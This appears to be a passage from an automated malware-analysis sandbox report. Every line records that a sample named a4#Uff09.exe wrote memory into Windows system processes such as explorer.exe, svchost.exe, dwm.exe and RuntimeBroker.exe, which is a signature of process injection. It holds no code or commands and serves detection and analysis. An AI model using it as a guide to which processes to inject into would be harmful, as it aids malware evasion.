Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 130000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 150000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 210000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 280000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 3F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: F60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 900000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 990000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 140000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 160000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 220000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 8390000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 910000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 150000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 170000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 230000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 410000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 83A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 920000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 160000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 240000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 420000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 8850000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 930000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 170000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 190000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 300000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 250000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 8860000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 940000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 310000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 260000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 8880000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 950000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 190000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 320000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 270000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 450000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: EF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 960000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 110000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 330000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 280000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 2F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 460000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: F10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 970000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 120000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 340000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: B60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 300000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: D0000 Jump to behavior
